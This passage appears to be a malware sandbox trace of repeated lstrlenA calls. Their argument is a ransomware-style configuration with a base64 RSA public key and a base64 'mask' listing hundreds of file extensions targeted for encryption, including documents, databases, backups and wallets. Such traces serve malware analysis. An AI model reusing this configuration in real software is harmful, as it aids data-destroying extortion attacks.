YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p